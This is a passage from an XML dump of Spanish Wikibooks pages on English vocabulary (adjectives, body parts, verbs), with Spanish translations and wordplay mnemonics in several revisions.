| Gentle || Tierno, dulce || Un gigante buena '''gente''' es '''gentil''' osea que es '''tierno'''.
|-
| Shy || Tímido || Soy tan tímido que si me miran, digo '''shai'''to y estornudo '''ashy'''
|-
| Chap || Tipo || En esa boda tenían a un '''tipo''' muy '''chap'''arro de '''chap'''erón. 
|-
| Silly || Tonto || '''Si ly''' digo esta palabra le digo '''tonto''' y me salí.
|-
| Calm || Tranquilo, calmado || '''Cálmese''' estese '''tranquilo''' y vuelva a leer. 
|-
| Naughty || Travieso || Todos tenemos noticia de la travesía del '''Nautilus''' el '''travieso''' submarino de Nemo.
|-
| Brave || Valiente || En el castillo todos gritaban ¡'''Bravo'''! al '''valiente''' caballero que estaba '''bravo'''.
|-
| Old || Viejo || Un coronel muy '''viejo''' está siendo c'''old'''ecorado hoy.
|-
! Inglés !! Español !! Frase de relación
|-
| Cheek || Mejilla || Esa '''chik'''illa '''cheek'''oslovaca tiene una '''mejilla''' chévere.
|-
| Limb || Miembro, extremidad || Para ser '''miembro''' del equipo de '''limb'''o hay que dejar e'''l imb'''orrable récord.   
|-
| Muscle || Músculo || Son palabras muy parecidas.
|-
| Thigh || Muslo || Un '''thig'''re que hoy muerde el muslo del zeni'''t ig'''ual que ayer.
|-
| Nerve || Nervio || Son palabras muy parecidas.
|-
| Knuckle || Nudillo || En el pueblo un campesi'''nu clé'''rigo golpea con el '''nudillo''' en la cara al que le parece '''naco'''.
|-
| Navel, umbilicus || Ombligo || Un gordo que almace'''na vel'''as en su '''ombligo'''.
|-
| Calf || Pantorrilla || La '''pantorrilla''' de un angeli'''cal f'''antasma reposa sobre alfombras.
|-
| Eyelid || Párpado || En una carrera de letras se me cierra el '''párpado''' y tapa a la &quot;'''LL'''&quot; '''líd'''er y me pierdo que pasa.
|-
| Tendon || Tendón || Son palabras muy parecidas.
|-
| Skin || Piel || Nadie e'''s kién''' para decir que es mejor por su color de '''piel'''.
|-
| Eyelash || Pestaña || El guardia sin mover una '''pestaña''' dice &quot;'''ey la sh'''ica de ahí no pase&quot;
|-
| Lung || Pulmón || Para proteger el '''pulmón''' del humo hay que ir a respirar a'''l ung'''ido aire del campo.
|-
| Fist || Puño || Unos bandidos puñetas que en todos los feriados y las '''fist'''as se agarraban a '''puño''' limpio.
|-
| Saliva || Saliva || Son palabras muy parecidas
|-
| Heel || Talón || No ves que es el '''talón''' y no el co'''che el''' de Aquiles.
|-
| Sweat || Sudor ||Jo'''sué at'''endió al señor con un suéter empapado de '''sudor'''.
|-
| Bottom || Trasero || De una fuerte patada en el '''trasero''' el ro'''bot to'''ma vuelo y cae encima de los '''botto'''nes
|-
| Nail || Uña || Una mano con u'''na il'''ustre uña en la lu'''na il'''umina.
|-
| Vein || Vena || El cuerpo humano tiene muchas más de '''vein'''te '''venas'''
|-
| egg || huevo || componente que sale de la gallina '''tamb'''en'''un'''pol''lo'''
|-
| Branch || rama || lo que sale de un tronco '''tie'''ne''' ho'''jas
|}
&lt;noinclude&gt;{{Inglés}}&lt;/noinclude&gt;

[[Categoría:Inglés|Vocabulario/Glosario de consulta]]

{{AutoCat}}</text>
      <sha1>qg10oe4ysgidp0s106pgi7dbg6x2ec9</sha1>
    </revision>
    <revision>
      <id>429930</id>
      <parentid>429860</parentid>
      <timestamp>2026-08-01T22:09:18Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429930</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="7739" sha1="44g7glsonv6y3zqbp1epa6y5u3rejl4" xml:space="preserve">{| class=&quot;wikitable sortable&quot;
|-
! Inglés !! Español !! Frase de relación____________________________________________________.
|-
| Teenager - Adolescent || Adolescente || Un '''adolescente''' parece más bien una an'''teena ger'''minadora de problemas.
|-
| Adult || Adulto || Son palabras muy parecidas.
|-
| Friendly || Amable || Un amigo ('''friend''') '''amable''' es amistoso se le nota en la '''frente'''.
|-
| Kind || Bondadoso || '''Kind'''ijera que ese ogro es tan '''bondadoso'''
|-
| Ambitious || Ambicioso || Son palabras muy parecidas. El que es '''Ambicioso''' lo es en todos los '''Ámbitos'''
|-
| Handsome || Guapo || Me creo '''guapo''' y apuesto que están asec'''handsome''' en el espejo, pero me de'''jan so'''lo.
|-
| Arrogant || Arrogante || Son palabras muy parecidas.
|-
| Wrinkle || Arruga || Un ornitor'''rinko''' anda'''rín kle'''mente cuando envejece le salen '''arruga'''s.
|-
| Appearance || Aspecto, apariencia || '''Aparentar''' buen '''aspecto'''
|-
| Attractive || Atractivo || Son palabras muy parecidas.
|-
| Beard || Barba || Esa mujer sa'''be ard'''er con la '''barba''' del hombre.
|-
| Moustache || Bigote || Un '''mostacho''' es un '''bigote''' muy particular.
|-
| Good-nature, affable || Bonachón, afable || Una ser '''bonachón''' es de muy '''buena naturaleza'''.
|-
| Bald || Calvo || Un pobre '''calvo''' que en '''bald'''e gasta dinero en champús.
|-
| Character || Carácter || Son palabras muy parecidas.
|-
| Behave || Comportarse || Esa a'''beja ve''' la manera de '''comportarse''' para parecer una o'''beja ve'''rdadera.
|-
| Cruel || Cruel || Son palabras muy parecidas.
|-
! Inglés !! Español !! Frase de relación____________________________________________________.
|-
| Bad tempered || Mal genio || ¡Te lo juro teneis que acá'''bad''' con ese '''temper'''amento tan malo!
|-
| Middle aged || Mediana edad || Middle - media Aged - Edad (en años)
|-
| Decisive || Decidido || Decididamente son palabras muy parecidas.
|-
| Thin || Delgado || Un cerafín muy '''delgado''' que bebe mucho '''thint'''o.
|-
| Distracted, Absent-minded || Distraído || Un '''distraído''' tiene '''ausente (absent)''' la '''mente (minded)'''.
|-
| Amusing || Divertido || Un '''divertido''' y f'''amus'''o '''ing'''eniero que cant'''a músi'''ca in '''ing'''lés.
|-
| Charming || Encantador || Es '''encantador''' escu'''char min'''tir esos labios color Carmín.
|-
| Conceited || Engreído || Un niño muy '''conceitid'''o será seguramente un adulto muy '''engreído'''.
|-
| Enthusiastic || Entusiasta || Me entusiasma que son palabras muy parecidas.
|-
| Slim || Esbelto || Por la ventana ve'''s lim'''bo lleno de espíritus '''esbelto'''s y '''delgado'''s 
|-
| Skinny || Flaco || Un '''flaco''' eskeleto en una e'''skin'''a que está así porque e'''ski ny''' come arroz. 
|-
| Generous || Generoso || son palabras muy parecidas y generosas.
|-
| Rude || Maleducado || Él se cree un tipo '''rudo''', pero sólo es un '''maleducado''' que no sabe leer.
|-
| Clever || Listo || Hay qu'''e ver''' que hay que ser '''listo''' para '''clavar''' un '''clavo''' veloz. 
|-
| Wicked || Malvado || En la cárcel hay un '''malvado''' que al tratar de h'''uíc ked'''o atrapado en los barrotes.
|-
! Inglés !! Español !! Frase de relación____________________________________________________.
|-
| Dark || Oscuro || La sala esta muy '''oscura''', prende la luz por favor.
|-
| Nervous || Nervioso || son palabras muy parecidas.
|-
| Toddler || Niñito || A el '''niñito''' no le ha vuel'''to doler''' su manita.
|-
| Optimist || Optimista || son palabras muy parecidas.
|-
| Freckles || Pecas || El fraile que en la cara tiene '''pecas''' hace '''flecos frescos frecu'''entemente.
|-
| Hair || Pelo || Se ve hermosa con el '''pelo''' al '''hair'''e y si me de'''ja ir'''é con usted.
|-
| Lazy || Perezoso || Cuando estoy '''perezoso''' me quedo amarrado con un '''lazo''' en '''la zy'''lla todo el día.
|-
| Gentleman || Caballero || Un '''caballero''' siempre es un hombre ('''man''') muy '''gentil'''. 
|-
| Lady || Dama || A esa '''dama''' '''la dy'''bujé y '''lei dí'''as enteros poemas.
|-
| Sensitive || Sensible || Soy tan '''sensible''' que soy más '''sensitivo''' que un nervio.
|-
| Sensible || Sensato, Razonable || Un ser '''sensato''' es '''sensible''' a lo que pasa a su alrededor.
|-
| Serious || Serio || En serio son palabras muy parecidas.
|-
| Nice || Simpático || Soy tan '''simpático''' que '''nice''' que es lo que hago para que me quieran tanto.
|-
| Mean || Tacaño || Unos señores que son '''tacaño'''s hasta cuando '''mean''', y hacen poquito.
|-
| Complexion || Tez, cutis || Las señoras de '''complexión''' gruesa se compran cremas para mejorar su '''cutis'''.
|-
| Gentle || Tierno, dulce || Un gigante buena '''gente''' es '''gentil''' osea que es '''tierno'''.
|-
| Shy || Tímido || Soy tan tímido que si me miran, digo '''shai'''to y estornudo '''ashy'''
|-
| Chap || Tipo || En esa boda tenían a un '''tipo''' muy '''chap'''arro de '''chap'''erón. 
|-
| Silly || Tonto || '''Si ly''' digo esta palabra le digo '''tonto''' y me salí.
|-
| Calm || Tranquilo, calmado || '''Cálmese''' estese '''tranquilo''' y vuelva a leer. 
|-
| Naughty || Travieso || Todos tenemos noticia de la travesía del '''Nautilus''' el '''travieso''' submarino de Nemo.
|-
| Brave || Valiente || En el castillo todos gritaban ¡'''Bravo'''! al '''valiente''' caballero que estaba '''bravo'''.
|-
| Old || Viejo || Un coronel muy '''viejo''' está siendo c'''old'''ecorado hoy.
|-
! Inglés !! Español !! Frase de relación
|-
| Cheek || Mejilla || Esa '''chik'''illa '''cheek'''oslovaca tiene una '''mejilla''' chévere.
|-
| Limb || Miembro, extremidad || Para ser '''miembro''' del equipo de '''limb'''o hay que dejar e'''l imb'''orrable récord.   
|-
| Muscle || Músculo || Son palabras muy parecidas.
|-
| Thigh || Muslo || Un '''thig'''re que hoy muerde el muslo del zeni'''t ig'''ual que ayer.
|-
| Nerve || Nervio || Son palabras muy parecidas.
|-
| Knuckle || Nudillo || En el pueblo un campesi'''nu clé'''rigo golpea con el '''nudillo''' en la cara al que le parece '''naco'''.
|-
| Navel, umbilicus || Ombligo || Un gordo que almace'''na vel'''as en su '''ombligo'''.
|-
| Calf || Pantorrilla || La '''pantorrilla''' de un angeli'''cal f'''antasma reposa sobre alfombras.
|-
| Eyelid || Párpado || En una carrera de letras se me cierra el '''párpado''' y tapa a la &quot;'''LL'''&quot; '''líd'''er y me pierdo que pasa.
|-
| Tendon || Tendón || Son palabras muy parecidas.
|-
| Skin || Piel || Nadie e'''s kién''' para decir que es mejor por su color de '''piel'''.
|-
| Eyelash || Pestaña || El guardia sin mover una '''pestaña''' dice &quot;'''ey la sh'''ica de ahí no pase&quot;
|-
| Lung || Pulmón || Para proteger el '''pulmón''' del humo hay que ir a respirar a'''l ung'''ido aire del campo.
|-
| Fist || Puño || Unos bandidos puñetas que en todos los feriados y las '''fist'''as se agarraban a '''puño''' limpio.
|-
| Saliva || Saliva || Son palabras muy parecidas
|-
| Heel || Talón || No ves que es el '''talón''' y no el co'''che el''' de Aquiles.
|-
| Sweat || Sudor ||Jo'''sué at'''endió al señor con un suéter empapado de '''sudor'''.
|-
| Bottom || Trasero || De una fuerte patada en el '''trasero''' el ro'''bot to'''ma vuelo y cae encima de los '''botto'''nes
|-
| Nail || Uña || Una mano con u'''na il'''ustre uña en la lu'''na il'''umina.
|-
| Vein || Vena || El cuerpo humano tiene muchas más de '''vein'''te '''venas'''
|-
| egg || huevo || componente que sale de la gallina '''tamb'''en'''un'''pol''lo'''
|-
| Branch || rama || lo que sale de un tronco '''tie'''ne''' ho'''jas
|}
&lt;noinclude&gt;{{Inglés}}&lt;/noinclude&gt;

{{AutoCat}}</text>
      <sha1>44g7glsonv6y3zqbp1epa6y5u3rejl4</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Vocabulario/Partes del cuerpo</title>
    <ns>0</ns>
    <id>33207</id>
    <revision>
      <id>429853</id>
      <parentid>341350</parentid>
      <timestamp>2026-08-01T22:05:15Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429853</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2334" sha1="sm1ldw3219f4zabkra9tpxaaoo7qut0" xml:space="preserve">{| class=&quot;wikitable sortable&quot;
|-
! Inglés !! Español
|-
| Artery || Arteria
|-
| Joint || Articulación
|-
| Chin || Barbilla, mentón
|-
| Brain || Cerebro
|-
| Waist || Cintura
|-
| Side || Costado 
|-
| Rib || Costilla
|-
| Neck || Cuello
|-
| Toe || Dedo del pie
|-
| Tongue || Lengua
|-
| Gums || Encias
|-
| Spine || Columna Vertebral
|-
| Forehead || Frente
|-
| Genitals || Genitales
|-
| Shoulder || Hombro
|-
| Bone || Hueso
|-
| Lip || Labio
|-
| Jaw || Mandíbula   
|-
|thumb
|(dedo) pulgar
|-
|index finger
|(dedo) índice 
|-
|middle finger
|(dedo) corazón
|-
|ring finger
|(dedo) anular
|-
|little finger 
|(dedo) meñique
|-
|}

== THE BODY - EL CUERPO ==

{| border=&quot;1&quot;
!Inglés
!Español
|-
|the face
|la [[Inglés/La cara|cara]]
|-
|the head
|la cabeza
|-
|the neck
|el cuello
|-
|the back
|la espalda
|-
|the nape
|la nuca
|-
|the throat
|la garganta
|-
|the chest
|el pecho
|-
|the breasts
|los pechos
|-
|the stomach
|el estómago
|-
|the heart
|el corazón
|-
|the brain
|el cerebro
|-
|the lung
|el pulmón
|-
|the blood 
|la sangre
|-
|the veins
|las venas
|-
|the muscle
|el músculo
|-
|the bones
|los huesos
|-
|the skeleton
|el esqueleto
|-
|the tongue
|la lengua
|-
|the arm
|el brazo
|-
|the fist
|el puño
|-
|the shoulder
|el hombro
|-
|the elbow
|el codo
|-
|the wrist
|la muñeca
|-
|the hand
|la mano
|-
|the finger
|el [[Inglés/el dedo|dedo]]
|-
|the nail
|la uña
|-
|the waist
|la cintura
|-
|the hip
|la cadera
|-
|the bottom
|el trasero
|-
|the belly
|la barriga
|-
|the leg
|la pierna
|-
|the knee
|la rodilla
|-
|the ankle
|el tobillo
|-
|the foot/feet
|el pie/los pies
|-
|the toe
|el dedo del pie
|-
|the skin
|la piel
|}

== THE FACE - LA CARA ==

{| border=&quot;1&quot;
!Inglés
!Español
|-
|the hair
|el pelo/el cabello
|-
|the forehead 
|la frente 
|-
|the eye
|el ojo
|-
|the eyebrows
|las cejas
|-
|the eyelashes
|las pestañas
|-
|the eyelid
|el párpado
|-
|the nose
|la nariz
|-
|the mouth
|la boca
|-
|the lips
|los labios
|-
|the tooth/teeth
|el diente/los dientes
|-
|the tongue
|la lengua
|-
|the chin
|el mentón
|-
|the cheek 
|la mejilla
|-
|the ear 
|la oreja
|-
|}


&lt;big&gt;Pronunciación:&lt;/big&gt;   [http://www.youtube.com/watch?v=fDPzfF5nSRY aqui]


[[Categoría:Inglés|{{SUBPAGENAME}}]]

&lt;noinclude&gt;{{Inglés}}&lt;/noinclude&gt;
[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>sm1ldw3219f4zabkra9tpxaaoo7qut0</sha1>
    </revision>
    <revision>
      <id>429908</id>
      <parentid>429853</parentid>
      <timestamp>2026-08-01T22:09:12Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429908</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2254" sha1="iwaht4b2koenc1seqf4z785kklwyv87" xml:space="preserve">{| class=&quot;wikitable sortable&quot;
|-
! Inglés !! Español
|-
| Artery || Arteria
|-
| Joint || Articulación
|-
| Chin || Barbilla, mentón
|-
| Brain || Cerebro
|-
| Waist || Cintura
|-
| Side || Costado 
|-
| Rib || Costilla
|-
| Neck || Cuello
|-
| Toe || Dedo del pie
|-
| Tongue || Lengua
|-
| Gums || Encias
|-
| Spine || Columna Vertebral
|-
| Forehead || Frente
|-
| Genitals || Genitales
|-
| Shoulder || Hombro
|-
| Bone || Hueso
|-
| Lip || Labio
|-
| Jaw || Mandíbula   
|-
|thumb
|(dedo) pulgar
|-
|index finger
|(dedo) índice 
|-
|middle finger
|(dedo) corazón
|-
|ring finger
|(dedo) anular
|-
|little finger 
|(dedo) meñique
|-
|}

== THE BODY - EL CUERPO ==

{| border=&quot;1&quot;
!Inglés
!Español
|-
|the face
|la [[Inglés/La cara|cara]]
|-
|the head
|la cabeza
|-
|the neck
|el cuello
|-
|the back
|la espalda
|-
|the nape
|la nuca
|-
|the throat
|la garganta
|-
|the chest
|el pecho
|-
|the breasts
|los pechos
|-
|the stomach
|el estómago
|-
|the heart
|el corazón
|-
|the brain
|el cerebro
|-
|the lung
|el pulmón
|-
|the blood 
|la sangre
|-
|the veins
|las venas
|-
|the muscle
|el músculo
|-
|the bones
|los huesos
|-
|the skeleton
|el esqueleto
|-
|the tongue
|la lengua
|-
|the arm
|el brazo
|-
|the fist
|el puño
|-
|the shoulder
|el hombro
|-
|the elbow
|el codo
|-
|the wrist
|la muñeca
|-
|the hand
|la mano
|-
|the finger
|el [[Inglés/el dedo|dedo]]
|-
|the nail
|la uña
|-
|the waist
|la cintura
|-
|the hip
|la cadera
|-
|the bottom
|el trasero
|-
|the belly
|la barriga
|-
|the leg
|la pierna
|-
|the knee
|la rodilla
|-
|the ankle
|el tobillo
|-
|the foot/feet
|el pie/los pies
|-
|the toe
|el dedo del pie
|-
|the skin
|la piel
|}

== THE FACE - LA CARA ==

{| border=&quot;1&quot;
!Inglés
!Español
|-
|the hair
|el pelo/el cabello
|-
|the forehead 
|la frente 
|-
|the eye
|el ojo
|-
|the eyebrows
|las cejas
|-
|the eyelashes
|las pestañas
|-
|the eyelid
|el párpado
|-
|the nose
|la nariz
|-
|the mouth
|la boca
|-
|the lips
|los labios
|-
|the tooth/teeth
|el diente/los dientes
|-
|the tongue
|la lengua
|-
|the chin
|el mentón
|-
|the cheek 
|la mejilla
|-
|the ear 
|la oreja
|-
|}


&lt;big&gt;Pronunciación:&lt;/big&gt;   [http://www.youtube.com/watch?v=fDPzfF5nSRY aqui]


&lt;noinclude&gt;{{Inglés}}&lt;/noinclude&gt;
{{AutoCat}}</text>
      <sha1>iwaht4b2koenc1seqf4z785kklwyv87</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Vocabulario/Verbos</title>
    <ns>0</ns>
    <id>33223</id>
    <revision>
      <id>429856</id>
      <parentid>164680</parentid>
      <timestamp>2026-08-01T22:05:30Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429856</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="5813" sha1="9d0q6iqdbjdu08db96kuf0gkls48is7" xml:space="preserve">{| class=&quot;wikitable sortable&quot;
|-
! Inglés !! Español !! Frase de relación____________________________________________________.
|-
| Beat || Vencer/Golpear || Un be'''be at'''revido vence al '''beat'''o al '''golpear''' la cabezota. 
|-
| Become || Convertirse || Ahora sin reco'''veco me''' dice si sa'''be come'''s de fácil '''convertirse''' en alguien mejor.
|-
| Begin || Empezar || Un flaco que va a empezar a ejercitarse en el Cari'''be gin'''asio y para la sed be'''be gin'''ebra.
|-
| Bend || Doblar || '''Vend'''er un robot para '''doblar''' llamado '''Bend'''er.
|-
| Bet || Apostar || '''Bet'''ty la fea '''apuesta''' que no es nada '''apuesta'''.
|-
| Bite || Morder || Fuiste a un clu'''b i t'''e tocó '''morder''' en un com'''bite''' cuerpo a cuerpo con una piraña.
|-
| Blow || Soplar || Un Dia'''blo u'''lceroso '''sopla''' un globo hasta que haga !'''blow'''!
|-
| Burst || Estallar || Abom'''bar st'''a llanta hasta hacerla '''estallar''' en el mercado '''bursát'''il.
|-
| Catch || Atrapar || Cuando a los niños los '''cach'''an es porque los '''atrapan''' fuera de clases.
|-
| Choose || Elegir || Lo di'''cho se''' ve que sabe '''elegir''' la mejor '''choz'''a, aunque se '''chus'''e el indio di'''chos'''o.
|-
| Deal || Negociar, repartir || Los ratones que saben '''negociar''' '''dea'''mbulan necios '''de al'''ivio.
|-
| Dig || Cavar || Le '''dig'''o a mi perro '''Dog'''o; ¡te '''dig'''o que dejes de '''cavar''' caramba!
|-
| Draw || Dibujar || Un gran '''dra'''gón sabe '''dibujar''' a su '''drau'''goncillo bebe.
|-
| Feed || Alimentar || '''Feed'''erico Fernández '''alimenta''' con '''fid'''eos. 
|-
| Forbid || Prohibir || A él que le dé por '''prohibir''' el alfajor en alcan'''for bi'''en en '''órb'''ita deberían poner.
|-
| Forgive || Perdonar || Hay que saber '''perdonar''' '''for ir y ve'''nir 
|-
| Freeze || Congelar || Una '''freez'''a muy fría que '''congela''' la boca del que la come.
|-
| Hang || Colgar || Un '''hang'''ar lleno de '''ang'''uilas que alguien logró '''colgar'''.
|-
| Hide || Esconder || Un caballo dice &quot;me '''escondí''' de ese '''hi de''' pu.. jinete&quot;
|-
| Hit || Golpear || La forma de '''golpear''' de ese boxeador marcó un '''hit'''o, y todos gritaban ¡'''hit hit''' hurra!
|-
| Hold || Mantener, sostener || El borracho '''old'''ena y '''sostiene''' la botella de alco'''hol d'''e caña
|-
| Keep || guardar, conservar || '''Que ép'''oca está '''que p'''ermite '''conservar''' los valores que '''quep'''an en el banco. 
|-
| Lay || Acostarse || La '''ley''' no permite '''acostarse''' encima de '''la i'''glesia.
|-
| Lead || Liderar || Al que sabe '''liderar''' todos '''le ad'''miran.
|-
| Lend || Prestar || Díganle que '''presta''' sólo a'''l end'''eble y po'''l end'''e en be'''lén d'''a posada.
|-
| Let || Dejar || A ese pez con a'''let'''as '''Le t'''ienes que '''dejar''' pasar, verás que no es '''let'''al.
|-
| Light || Iluminar || Prender la '''light''' para '''iluminar''' el lugar y '''lig'''ar mejor.
|-
| Lose || Perder || No '''lo sé''' donde deje las llaves, '''lo sé''' que las iba a '''perder'''.
|-
| Mean || Significar || Unos tacaños '''me a'''n dicho lo que eso '''significa'''.
|-
| Ride || Montar en || Efemé'''ride''', en un día como hoy el hombre pudo '''montar en''' burro en Mad'''rid e''' India.
|-
| Ring || Llamar || Cuando alguien va a '''llamar''' a la puerta hace sonar el timbre '''ring ring'''. ¿álo? 
|-
| Rise || Elevar || Un moto'''riz'''ado que al '''elevar''' una cometa suelta '''risa''' hasta que esta ater'''rise'''.  
|-
| Seek || Buscar, pedir || Un príncipe pare'''se ek'''ivocado al '''buscar''' la bella que '''se ek'''edó dormida por comer '''sek'''oyas. 
|-
| Sell || Vender || Un vendedor tan bueno que logra '''vender''' '''sell'''ante para '''sell'''arte la boca.
|-
| Set || Fijar || Si es preciso '''fijar''' ese letrero '''set'''ecientas '''set'''enta y siete veces, así se hará.
|-
| Sew || Coser || Si esta '''cose'''dura '''se w'''elve a caer pues '''se w'''elve a '''coser'''.
|-
| Shake || Agitar || E'''sha ke''' viene caminando ahí sabe como '''agitar'''lo sin a'''shake'''s.
|-
| Shine || Brillar || La seda de '''Shina''' es la que más se ve '''brillar'''.
|-
| Shoot || Disparar || Un chaparro '''shoot'''ando '''disparos''' a la loca.
|-
| Shrink || Encogerse || El chapulín colorado se '''encoge''' en e'''she rink'''ocito después de tomar sus pastillas. 
|-
| Shut || Cerrar || Un zutano con tanto '''shut'''o que tiene que '''cerrar''' las ventanas.
|-
| Sing || Cantar || No hay nada más feo que oír '''cantar sin g'''anas.
|-
| Spread || Difundir || Un juez dice al detenido; os com'''pre ad'''itamentos para '''difundir''' en sus cabezas.
|-
| Sting || Picar, punzar || Al cantante '''Sting''' lo '''pica''' una abeja en un fe'''stín'''. 
|-
| Stink || Apestar || El niño Agu'''stin k'''e no se baña '''apesta''' hasta aquí.
|-
| Strike || Pegar, hacer huelga || Cuando el béisbolista no le logra '''pegar''' a la pelota, le gritan ¡'''strike''' 1!
|-
| Steal || Robar || E'''ste al'''guacil agarra a mucho pillo que le gusta '''robar'''. 
|-
| Swear || Jurar || Un tipo tan malo que hasta '''su e'''rmano Jo'''sué Ar'''mando '''jura''' y per'''jura''' que no lo conoce.
|-
| Sweep || Barrer || La escoba supo '''barrer''' como ningún otro invento  '''su ép'''oca. 
|-
| Swim || Nadar || Un niño que no conoce el mar pero en '''su im'''aginación el es el mejor para '''nadar'''.
|-
| Swing || Oscilar, columpiar || Una mujer que baila con '''swing''', y hace columpiar al '''sui'''zo con el que '''baila'''.
|-
| Tear || Rasgar || Un tigre al '''rasgar''' bolsas de té, '''te ar'''rastró y '''te ar'''uño con sus garras.
|}
&lt;noinclude&gt;{{Inglés}}&lt;/noinclude&gt;
[[Categoría:Inglés|Vocabulario/Verbos]]

{{AutoCat}}</text>
      <sha1>9d0q6iqdbjdu08db96kuf0gkls48is7</sha1>
    </revision>
    <revision>
      <id>429933</id>
      <parentid>429856</parentid>
      <timestamp>2026-08-01T22:09:19Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429933</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="5770" sha1="82h826gjqsl7e693jchn59whzad8ifw" xml:space="preserve">{| class=&quot;wikitable sortable&quot;
|-
! Inglés !! Español !! Frase de relación____________________________________________________.
|-
| Beat || Vencer/Golpear || Un be'''be at'''revido vence al '''beat'''o al '''golpear''' la cabezota. 
|-
| Become || Convertirse || Ahora sin reco'''veco me''' dice si sa'''be come'''s de fácil '''convertirse''' en alguien mejor.
|-
| Begin || Empezar || Un flaco que va a empezar a ejercitarse en el Cari'''be gin'''asio y para la sed be'''be gin'''ebra.
|-
| Bend || Doblar || '''Vend'''er un robot para '''doblar''' llamado '''Bend'''er.
|-
| Bet || Apostar || '''Bet'''ty la fea '''apuesta''' que no es nada '''apuesta'''.
|-
| Bite || Morder || Fuiste a un clu'''b i t'''e tocó '''morder''' en un com'''bite''' cuerpo a cuerpo con una piraña.
|-
| Blow || Soplar || Un Dia'''blo u'''lceroso '''sopla''' un globo hasta que haga !'''blow'''!
|-
| Burst || Estallar || Abom'''bar st'''a llanta hasta hacerla '''estallar''' en el mercado '''bursát'''il.
|-
| Catch || Atrapar || Cuando a los niños los '''cach'''an es porque los '''atrapan''' fuera de clases.
|-
| Choose || Elegir || Lo di'''cho se''' ve que sabe '''elegir''' la mejor '''choz'''a, aunque se '''chus'''e el indio di'''chos'''o.
|-
| Deal || Negociar, repartir || Los ratones que saben '''negociar''' '''dea'''mbulan necios '''de al'''ivio.
|-
| Dig || Cavar || Le '''dig'''o a mi perro '''Dog'''o; ¡te '''dig'''o que dejes de '''cavar''' caramba!
|-
| Draw || Dibujar || Un gran '''dra'''gón sabe '''dibujar''' a su '''drau'''goncillo bebe.
|-
| Feed || Alimentar || '''Feed'''erico Fernández '''alimenta''' con '''fid'''eos. 
|-
| Forbid || Prohibir || A él que le dé por '''prohibir''' el alfajor en alcan'''for bi'''en en '''órb'''ita deberían poner.
|-
| Forgive || Perdonar || Hay que saber '''perdonar''' '''for ir y ve'''nir 
|-
| Freeze || Congelar || Una '''freez'''a muy fría que '''congela''' la boca del que la come.
|-
| Hang || Colgar || Un '''hang'''ar lleno de '''ang'''uilas que alguien logró '''colgar'''.
|-
| Hide || Esconder || Un caballo dice &quot;me '''escondí''' de ese '''hi de''' pu.. jinete&quot;
|-
| Hit || Golpear || La forma de '''golpear''' de ese boxeador marcó un '''hit'''o, y todos gritaban ¡'''hit hit''' hurra!
|-
| Hold || Mantener, sostener || El borracho '''old'''ena y '''sostiene''' la botella de alco'''hol d'''e caña
|-
| Keep || guardar, conservar || '''Que ép'''oca está '''que p'''ermite '''conservar''' los valores que '''quep'''an en el banco. 
|-
| Lay || Acostarse || La '''ley''' no permite '''acostarse''' encima de '''la i'''glesia.
|-
| Lead || Liderar || Al que sabe '''liderar''' todos '''le ad'''miran.
|-
| Lend || Prestar || Díganle que '''presta''' sólo a'''l end'''eble y po'''l end'''e en be'''lén d'''a posada.
|-
| Let || Dejar || A ese pez con a'''let'''as '''Le t'''ienes que '''dejar''' pasar, verás que no es '''let'''al.
|-
| Light || Iluminar || Prender la '''light''' para '''iluminar''' el lugar y '''lig'''ar mejor.
|-
| Lose || Perder || No '''lo sé''' donde deje las llaves, '''lo sé''' que las iba a '''perder'''.
|-
| Mean || Significar || Unos tacaños '''me a'''n dicho lo que eso '''significa'''.
|-
| Ride || Montar en || Efemé'''ride''', en un día como hoy el hombre pudo '''montar en''' burro en Mad'''rid e''' India.
|-
| Ring || Llamar || Cuando alguien va a '''llamar''' a la puerta hace sonar el timbre '''ring ring'''. ¿álo? 
|-
| Rise || Elevar || Un moto'''riz'''ado que al '''elevar''' una cometa suelta '''risa''' hasta que esta ater'''rise'''.  
|-
| Seek || Buscar, pedir || Un príncipe pare'''se ek'''ivocado al '''buscar''' la bella que '''se ek'''edó dormida por comer '''sek'''oyas. 
|-
| Sell || Vender || Un vendedor tan bueno que logra '''vender''' '''sell'''ante para '''sell'''arte la boca.
|-
| Set || Fijar || Si es preciso '''fijar''' ese letrero '''set'''ecientas '''set'''enta y siete veces, así se hará.
|-
| Sew || Coser || Si esta '''cose'''dura '''se w'''elve a caer pues '''se w'''elve a '''coser'''.
|-
| Shake || Agitar || E'''sha ke''' viene caminando ahí sabe como '''agitar'''lo sin a'''shake'''s.
|-
| Shine || Brillar || La seda de '''Shina''' es la que más se ve '''brillar'''.
|-
| Shoot || Disparar || Un chaparro '''shoot'''ando '''disparos''' a la loca.
|-
| Shrink || Encogerse || El chapulín colorado se '''encoge''' en e'''she rink'''ocito después de tomar sus pastillas. 
|-
| Shut || Cerrar || Un zutano con tanto '''shut'''o que tiene que '''cerrar''' las ventanas.
|-
| Sing || Cantar || No hay nada más feo que oír '''cantar sin g'''anas.
|-
| Spread || Difundir || Un juez dice al detenido; os com'''pre ad'''itamentos para '''difundir''' en sus cabezas.
|-
